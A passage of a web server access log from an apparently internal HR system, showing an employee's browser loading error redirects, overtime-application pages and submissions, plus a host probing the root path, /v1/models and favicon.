/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.11.76 - - [01/Dec/2025:14:40:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:40:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 100.64.0.1 - - [01/Dec/2025:14:49:46 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [01/Dec/2025:14:49:46 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [01/Dec/2025:14:49:47 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:14:49:47 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:14:49:49 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [01/Dec/2025:14:49:49 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:14:49:51 +0800] "GET /v1/models HTTP/1.1" 404 207 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:14:49:51 +0800] "GET /v1/models HTTP/1.1" 404 207 100.64.0.1 - - [01/Dec/2025:14:49:54 +0800] "GET /v1/models HTTP/1.1" 404 207 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:14:49:54 +0800] "GET /v1/models HTTP/1.1" 404 207 100.64.0.1 - - [01/Dec/2025:14:49:56 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [01/Dec/2025:14:49:56 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:14:49:59 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:14:49:59 +0800] "GET /favicon.ico HTTP/1.1" 404 209 192.168.11.76 - - [01/Dec/2025:14:51:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166421 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:51:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166421 100.64.0.1 - - [01/Dec/2025:14:51:12 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [01/Dec/2025:14:51:12 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [01/Dec/2025:14:51:14 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:14:51:14 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:14:51:16 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [01/Dec/2025:14:51:16 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:14:51:18 +0800] "GET /v1/models HTTP/1.1" 404 207 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:14:51:18 +0800] "GET /v1/models HTTP/1.1" 404 207 100.64.0.1 - - [01/Dec/2025:14:51:21 +0800] "GET /v1/models HTTP/1.1" 404 207 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:14:51:21 +0800] "GET /v1/models HTTP/1.1" 404 207 100.64.0.1 - - [01/Dec/2025:14:51:23 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:14:51:23 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [01/Dec/2025:14:51:25 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:14:51:25 +0800] "GET /favicon.ico HTTP/1.1" 404 209 192.168.11.76 - - [01/Dec/2025:14:51:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:51:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.76 - - [01/Dec/2025:14:51:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:51:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.76 - - [01/Dec/2025:14:51:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:51:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.76 - - [01/Dec/2025:14:51:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:51:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.76 - - [01/Dec/2025:14:51:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:51:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.76 - - [01/Dec/2025:14:51:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:51:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30 192.168.11.76 - - [01/Dec/2025:14:51:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:51:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:51:46 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:51:46 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.11.76 - - [01/Dec/2025:14:51:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:51:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.76 - - [01/Dec/2025:14:51:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:51:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.76 - - [01/Dec/2025:14:51:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:51:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.76 - - [01/Dec/2025:14:52:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:52:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.76 - - [01/Dec/2025:14:52:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:52:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:52:06 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:52:06 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.11.76 - - [01/Dec/2025:14:52:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:52:08 +0800] "GET 